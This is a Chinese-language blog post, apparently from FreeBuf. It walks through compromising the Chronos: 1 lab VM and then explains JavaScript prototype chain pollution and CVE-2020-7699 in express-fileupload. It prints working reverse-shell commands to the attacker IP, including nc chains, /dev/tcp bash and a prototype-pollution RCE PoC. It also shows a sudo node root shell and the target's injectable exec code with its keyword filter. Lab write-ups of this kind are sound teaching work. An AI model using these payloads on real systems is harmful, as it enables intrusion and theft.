
序
本次主要说明 JavaScript 中原型链污染漏洞的原理与利用,但直接介绍该漏洞过于无趣,所以以一个靶机的渗透过程为引,其中便存在着原型链污染的漏洞,之后再详细介绍 JavaScript 中原型链的概念,以及原型链漏洞的原理及利用
基本信息
靶机网址:Chronos: 1
攻击机KALI
:10.21.194.254
靶机 :10.21.193.155
难度
Medium
渗透测试及思路
主机发现:
netdiscover
该工具与之前使用的arp-scan
等工具原理一致,都是发送arp
广播数据包:netdiscover -r 10.21.0.0/16
对于该工具,若实际网络的子网掩码为24
位,在使用的时候指定的子网掩码建议在实际的基础上8
也就是24 - 8 = 16
这样对最终的发现结果更好但要注意要为
8
的倍数由于靶机放在了
VirtualBox
中,而kali
在VMware
中,故使用桥接,但本身连着学校的wifi
,所以二层探测会探测出大量主机,VirtualBox
特有的标识PCS Systemtechnik GmbH
判断即可确定靶机
IP
后,继续利用nmap
进行全端口扫描nmap -p- 10.21.193.155
经探测发现其开启了
22 80 8000
三个端口接下来再探测器端口的服务
nmap -p22,80,8000 -sV 10.21.193.155
经探测发现其开放端口对应的服务分别为:
22
-ssh
-OpenSSH
80
-httpd
-Apache httpd 2.4.29
8000
-httpd
-Node.js Express framework
通过浏览器访问
80
对于 web 网站,若当前页面中感觉没有什么可利用的东西,一般有两种常规思路:
通过
dissearch
等工具遍历其目录,看看有没有什么隐藏的路径通过
CTRL + u
查看其网页源码,看看有没有一些隐藏域、隐藏表单、隐藏的接口、加载的脚本等隐藏的页面元素
在该页面的
HTML
源码中,看到了一段包含在<script>
标签中的脚本,但将这段代码复制到本地进行查看的时候,会发现其中的变量、函数名等都进行了某种编码,导致直接阅读可读性不强,所以一般要对该代码进行一定程度的整理还原JavaScript
代码还原使用在线工具
cyberchef
(也可以clone
到本地使用)cyberchef
是一种可以针对计算机各种数据类型来做各种的编码、解码、还原、解密、解压等等操作的工具首先将刚刚的
js
代码放入Input
窗口,并在左边的选项卡中选择用于优化、美化JavaScript
代码的JavaScript Beautiful
模块美化后,可以看到,虽然对其结构进行了优化,但其变量、函数名等还是经过某种编码编码过的,没法优化
但是在其中,可以一眼看见一段明文的
URL
链接可以看出
URL
的域名部分为chronos.local
且 端口为8000
,所以有理由怀疑该域名就指向了这台靶机,但直接访问是会被拒绝的:所以可以在
kali
的/etc/hosts
文件中建立一条域名与IP
的映射关系记录,之后记得用PING
检查一下刷新当前网站
建立好映射关系后,刷新当前网站,可以看到当前网站显示出了当前的时间(当前网站通过刚刚的域名对应关系,到
8000
端口处,获得到了当前的时间,并进行显示)通过
Burp
代理观察整个报文的交互过程启动浏览器代理,并由
Burp
进行抓包,刷新该页面,放开截断即可,我们的目的是在HTTP history
观察在加载该页面过程中发出了哪些请求以及响应流量(忽略和
google
有关的Host
)可以看出网页会通过
GET
向上面得到的那一串URL
发送请求,服务端会回复给前端当前的时间,再由前端进行显示也可通过 站点地图 (
Site map
)查看所以接下来将该
URL
送到Repeator
进行重放尝试Repeator
重放尝试为什么当前向服务端发送该 URL 样子的请求,服务端就会返回当前时间,修改掉
format
后的参数,服务端是否还会显示一样的时间呢?所以为了验证该想法,更改
format
后面的一串参数再次发送请求,发现服务器端不再正常响应了,所以该字符串至关重要,此处歪打正着,随便删了点字符串忘了加与HTTP/1.1
之间的空格了,结果在报错信息中正好看见了使用的是base58
的编码若正常通过观察,可能会怀疑其是通过
base64URL
进行的编码,所以尝试解码(最常见)可以使用
CyberChef
中的magic
模块进行解码的尝试,当我们不确定目标字符串的编码方式时,可以使用该模块自动帮我们分析当前字符串可能的编码方式:经过
magic
模块分析,当前字符串可能是通过base58
的方式进行的编码,编码前的原始字符串为:'+Today is %A, %B %d, %Y %H:%M:%S.'
很明显感觉到这个是
time
的一个系统调用中所采取的格式,并且通过date
命令,也可以解析该格式所以有理由怀疑此处可能是调用了操作系统的指令(也有可能是在代码中使用了系统函数),若是使用了操作系统的
date
指令,则是否存在命令注入的可能尝试命令注入
此时突然断网了。。。。所以
kali
机的IP
切换为10.21.204.212
靶机没变可利用 以下连接符号
|
||
(前命令执行错误才会执行后续命令);
&&
(前命令正确才会执行后续命令)
将
&& ls
进行base58
的编码,并放入GET
包中继续中发送,果然返回了ls
的结果,证明命令注入存在于是又想到了反弹
shell
,先通过&& ls /bin
判断目标端bin
目录下取确认存在nc
指令,由于其版本的不确定,所以可能存在无法使用-e
参数的情况,但要先确认nc
是否可用kali
上nc -nvlp 4444
并用
base58
编码&& nc 10.21.204.212:4444
尝试是否可以正常连接,发现nc
可以建立连接,但再次测试发现其不存在-e
参数,所以还要通过nc
串联在实现&& nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555
成功
在目标服务器中信息收集
连接
shell
后,当前所处的路径应该就是web
应用所在的路径,经查看为:/opt/chronos
cat /etc/passwd
发现一个名为imera
的可登录用户账号,尝试访问其家目录/home/imera
发现其中存在一个user.txt
文件,但是并没有其访问权限,只有该文件的所有者imera
才可以访问该文件,所以要尝试进行权限提升首先用
id
查看当前用户身份及权限本地地权
Linux
中常规的提权思路基于以下三种:Linux
内核漏洞uname -a
发现其内核版本为4.15
,但并没有找到关于该内核的提权漏洞SUID
权限管理不严格也没有找到具有
s
位的可利用文件利用
sudo -l
配置漏洞很遗憾当前用户没有
sudo
权限
至此,当前本地提权这个思路失败,所以要再次进行信息收集
再次信息收集
渗透测试思路源于大量的信息收集
再次回到当前用户的家目录,看到其后端的
web
应用程序是建立在JavaScript
之上的(.js
文件),与常规认知不同,使用JavaScript
可以借助Node.js
利用 谷歌开发的v8
脚本引擎,非常高效的开发运行服务端web
程序Node.js
最初由个人开发者开发,后期托管于OpenJS Foundation
进行维护,使用Node.js
开发的web
应用程序,一般都是基于一些已有的 框架/库(Node.js
提供的模块) 进行的常见的库有 :
Express
Socket.io
Cors
等,其中针对web
开发最常用的就是Express.js
审计与当前
web
程序有关的代码一般在使用
Node.js
开发的应用中,会有一个.json
文件(package.json
)用于包含当前开发所需要的模块、项目中的配置信息等所以先来查看
package.json
(其中bs58
就是用来进行base58
的编码与解码的)再来看
app.js
代码const express = require('express'); const { exec } = require("child_process"); const bs58 = require('bs58'); // bs58 负责进行 base58 的加解码 const app = express(); const port = 8000; const cors = require('cors'); app.use(cors()); app.get('/', (req,res) =>{ res.sendFile("/var/www/html/index.html"); }); app.get('/date', (req, res) => { var agent = req.headers['user-agent']; var cmd = 'date '; // 调用 date 系统指令 const format = req.query.format; const bytes = bs58.decode(format); var decoded = bytes.toString(); var concat = cmd.concat(decoded); // 直接对编码后的数据近些拼接,并没有过滤 if (agent === 'Chronos') // 会对收到报文的 user-agent 进行识别 { if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) { // 此处虽然对特殊的字符进行了识别,但是并未给出具体有效的过滤措施 // 只是报了一个提示,并未阻止其执行 res.send("Something went wrong"); } exec(concat, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } res.send(stdout); }); } else{ res.send("Permission Denied"); } }) app.listen(port,() => { console.log(`Server running at ${port}`); })
可以看出其中对从
GET
包中获取的参数没有进行任何的过滤直接拼接执行,所以才导致了刚刚获取shell
的操作另外看出会通过请求包头中的
User-agent
中是否为Chronos
来确认其权限,不是Chronos
则会提示Permission denied
(而最初看到的那一堆js
代码就负责从发出的HTTP GET
包中将其UA
改为Chronos
)但分析下来发现,当前
app.js
中没有提权的途径,所以还要继续做信息收集继续信息收集
在
/opt
目录下,发现了两个版本的chronos
应用,除了刚刚看的,还有一个chronos-v2
目录进入该路径后,发现这时另外一个
web
应用,并看到其中有一个名为backend
的后端目录,再往里走,看到了四个文件node_module
package.json
package-lock.json
server.js
同样先查看
package.json
看到其中指明了服务端主程序为server.js
等信息,还有一个很重要的信息express-fileupload:1.1.7-alpha.3
怀疑是文件上传功能查看
server.js
const express = require('express'); const fileupload = require("express-fileupload"); const http = require('http') const app = express(); app.use(fileupload({ parseNested: true })); app.set('view engine', 'ejs'); app.set('views', "/opt/chronos-v2/frontend/pages"); app.get('/', (req, res) => { res.render('index') }); const server = http.Server(app); const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因 const port = 8080; server.listen(port, addr, () => { console.log('Server listening on ' + addr + ' port ' + port); });
但是在该代码中并没有找到明显的问题,所以问题还是回到了最有可能出现问题的上传模块
express-fileupload
express-fileupload
的利用该模块要利用必须开启
parseNested
,从上面的代码中可以看出确实如此parseNested: true
所以尝试是否存在
JavaScript Prototype
污染攻击 ,此处的原理会在另外一篇文章中介绍,此处直接拿来一个用于反弹shell
的Poc
来利用即可:将
Poc
中的源目IP
进行修改,从刚刚阅读server.js
该上传模块要访问的是 本地的8080
端口,所以记得将post
请求的地址和端口也改了import requests cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"' # pollute requests.post('<http://127.0.0.1:8080>', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command requests.get('<http://127.0.0.1:8080>')
接下来只需在 kali 机上起一个
http.server
,再在靶机上通过wget
下载该Poc
进行执行即可反弹shell
可以看到,这个就是刚刚的
imera
用户,顺利从其加目录下的user.txt
中拿到第一个flag
由于最后的
flag
在/root
目录下,所以我们最终要想办法访问到/root
sudo -l
与node
配合反弹shell
通过
sudo -l
发现node
命令可以在无需密码的情况下通过root
的权限去跑,所以接下来看看有没有通过node
命令反弹shell
的方式node
反弹shell
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
至此两个
shell
就都获得了当然这里两个
flag
都是base64
编码后的结果,至于其解码后是什么,就由大家探索吧
JavaScript基于原型编程思路与原型链污染
由于我也对JavaScript
的底层思想或架构不很熟悉,所以此处仅说明其原理以及含义,至于为什么为什么这样设计,说是这样设计有哪些具体的好处,恕难说明
基于原型的编程
基于原型的编程是一种面向对象的编程风格,其中继承 是通过重用 作为原型的现有对象的过程来执行的
在基于原型的语言中,是没有明确的类的( 虽然ECMAScript 6
后提供class
关键字,但其更像是一种语法糖,依旧是通过原型实现 )。对象通过原型属性直接从其他对象继承
与传统面向对象语言的区别
与C++
等传统的面向对象语言不同,对于C++
来说,声明一个类后,其中带有默认构造函数用于实例化时初始化这个类,但在基于原型的语言中是没有明确的类的,以JavaScript
为例,如果在JavaScript
中想要定义一个类,需要以定义 “构造函数” 的方式定义
比如要想定义一个Person
类,则js
中的定义方式为:
function Person()
{
this.age = 18
}
此时就相当于通过定义Person
类的构造函数Person()
的方式定义了这个类,接下来要想实例化这个类则new Person()
但与传统的面向对象编程风格一致,类中不能只有属性(this.age
),还应存在 方法( 函数 ),但是由于js
中的类是通过构造函数实现的,若是直接将函数定义在构造函数中:
function Person()
{
this.age = 18
this.say = function() {
console.log(this.age)
}
}
会导致每次实例化该对象时,都会将其中定义的函数执行一次(本例中的say
方法)( 类比于将一个函数直接定义在C++
中的构造函数中,并实例化该对象)
为了解决这个问题js
有了自己的解决思路:prototype
prototype
prototype
在JavaScript
中用于调用原型属性 (不理解先跳过)
若想创建类的时候创建一次say
方法,就需要使用 原型(prototype
)( 说白了就类似于C++
中类内函数只定义一次,之后需要的时候才会调用执行 )
对于上述例子,若想让Person()
这个类,具备say
这个方法,又不必每次实例化一个对象都执行该方法,就要这样定义:
function Person()
{
this.age = 18
}
Person.prototype.say = function say(){
console.log(this.age)
}
此时便可在实例化对象后通过实例化的对象调用该方法
let Sam = new Person()
Sam.say()
那为什么可以这么定义呢?首先有这样一个前提:JavaScript
中任意 “类”( 构造函数 )都有一个内置属性这个内置属性就是prototype
也叫做 显示原型
该怎么理解?
再以C++
为例,再次明确prototype
的出现是为了解决不应将方法定义在构造函数中的这个问题,该怎么解决这个问题呢?
JavaScript
用了一个继承的方式解决了这个问题,这里又有一个前提,就像Linux
中所有进程都是由Init
这个父进程来的一样,JavaScript
中也存在一个最终原型Object.prototype
(Object.prototype
的原型就是null
了)
起始Person
类(函数)是继承于Person.prototype
的,而这个Person.prototype
是以当前函数作为构造函数构造出来的对象的原型对象,可以自己指定,若没有指定那么他就是空的Object.prototype
prototype
是一个指针,指向一个对象,这个对象的用途就是包含所有实例共享的属性和方法(我们把这个对象叫做原型对象)。原型对象也有一个属性,叫做constructor
,这个属性包含了一个指针,指回原构造函数
但注意,上面说的prototype
是函数的属性,并不是实例化对象的属性,比如let Sam = new Person()
下Sam
这个实例化对象中是没有prototype
属性的
但是实例化对象也有访问该原型对象的需求,为了这个需求又引入了__proto__
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法
proto
既然前面有显示原型,那么就一定存在相反的 隐式原型
所有引用类型(函数,数组,对象)都拥有__proto__
属性(隐式原型)
Person
类实例化出来的Sam
对象,可以通过__proto__
属性来访问Person
类的原型对象,也就是说:
Sam.__proto__ === Person.prototype
为true
一个对象的__proto__
属性,指向这个对象所属的类的prototype
属性
总结
每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。—— 摘自《javascript高级程序设计
》
听起来似懂非懂?继续往下看
JavaScript 原型链继承
正如刚刚所说,由于所有的类对象在实例化的时候都会拥有prototype
中的属性和方法,并可以通过__proto__
访问其中的属性和方法,这也正式JavaScript
用来实现继承的机制
刚刚在介绍prototype
时,其继承的是Object
( 原型链的尽头Object.prototype
) ,但这个继承是可以指定的
function Animal() {
this.eat = 'meat'
this.age = 100
}
function Person() {
this.age = 18
}
Person.prototype = new Animal()
let Sam = new Person()
console.log('${Sam.eat} ${Sam.age}')
此时Person
的prototype
是指向Animal
类实例化出的对象,也就是说Animal
这个类实例化出的对象是以 Person() 作为构造函数实例化对象的原型对象,所以最终输出的为 :meat 18
具体来说,在输出${Sam.eat}
时:
- 首先会在由
Person
实例化出的对象Sam
中寻找eat
属性 - 找不到的话,就会到
Sam.__proto__
中寻找该属性,因为Person
类的prototype
指向的是Animal
,所以就会到Animal
类的原型中寻找该值 - 若再找不到,则继续向上寻找至
Sam.__proto__.__proto__
- 直到遍历到 原型链的顶端,也就是
null
那么此时对这个图,应该就比较好理解了:
原型链污染
起始所谓的原型链污染,起始最主要的问题就处在原型链顶端的下一个类,也就是Object
类,若该类中的某些属性被改、或被赋予了新的属性,那么新创建的类将会继承自该类,也就会拿到新增加的值
引用 p神 的一个例子
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
此时zoo.bar = 2
应用
以打靶过程中存在的原型链污染漏洞为例:
其中最关键的一步:反弹imear
用户的shell
,原型链污染便是最重要的环节之一
该靶场中存在原型链污染的代码为
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
漏洞简介
该漏洞编号为:CVE-2020-7699
:NodeJS
模块代码注入
引发该漏洞的为Nodejs
中的express-fileupload
模块,该模块在1.1.8
版本之前存在原型链污染漏洞,后发现后被快速修复,但是此处想要引发该漏洞需要一定的基础条件:
引发该漏洞的基础条件:parseNested: true
通过该漏洞触发远程REC
所需进一步的条件:'view engine', 'ejs'
使用模板引擎 EJS
(嵌入式JavaScript
模板)。
好巧不巧,上述靶机的代码中两个条件全满足了(若不想了解接下来的原理,可以到刚刚提到的文章中直接获取RCE
的Poc
即可)
漏洞原理及利用
该漏洞中触发原型链污染的位置就在parseNested
模块中的porcessNested
方法下 ,该方法会将上传的JSON
数据展开为 嵌套对象
例如用一个最常举的例子:
传入数据:{"a.b.c" : true}
内部展开数据:{"a" : {"b" : {"c" : true}}}
这样看并没有什么问题,但如果结合之前原型链的知识,稍作改动
传入数据:{"__proto__.polluted" : true}
内部展开的数据:{"__proto__" : {"polluted" : true}}
(调用processNested
后)
此时就会为当前函数的prototype
对象添加一个polluted
属性,接下来所有继承自该prototype
的方法都将被添加该属性,如果恰巧是Object
,那么所有当前默认继承的函数都会被添加上该属性,而且既然能添加,也就一样存在着修改的可能
let some_obj = JSON.parse(`{"__proto__.polluted": true}`);
processNested(some_obj);
console.log(polluted); // true!
要注意,这个被改变/新增属性的过程,是在porcessNested
函数中处理过程中被赋值的
porcessNested
函数原型
function processNested(data){
if (!data || data.length < 1) return {};
let d = {},
keys = Object.keys(data);
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\\[/g), '.')
.replace(new RegExp(/\\]/g), '')
.split('.');
for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k]; // 关注此处
}
}
}
return d;
};
那么改入传递构造好的原型链呢?
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}
if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});
可以看到
req.body = processNested(req.body);
req.files = processNested(req.files);
这两处调用了存在漏洞的processNested
函数,其传入的参数分别为:
req.body
nodejs
解析的post
请求体req.files
上传文件的信息
此处利用req.files
进行传参,只需要将函数的名称构造为一个原型链即可,这里清楚受害者toString
函数,该方法属于Object
对象,由于所有的对象都继承了Object
的对象实例,因此所有的实例对象都可以使用该方法,同样若该方法被改为一个不是函数的其他对象,那么所有调用该方法的位置都会出错
此时很简单,只需将upload
的name
改为__proto__.toString
即可,之后由于processNested
的解析,会将 将其赋值为一个不是函数的对象,所以所有访使用该函数的位置都会报错
此时传递的JSON
包的格式为:
(截图来自 https://blog.p6.is/Real-World-JS-1/#express-fileupload
)
所以解析完就会变为
{}[__proto__][toString] = { ...... }
此时toString
将不再是一个函数
参考文章
NodeJS module downloaded 7M times lets hackers inject code
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)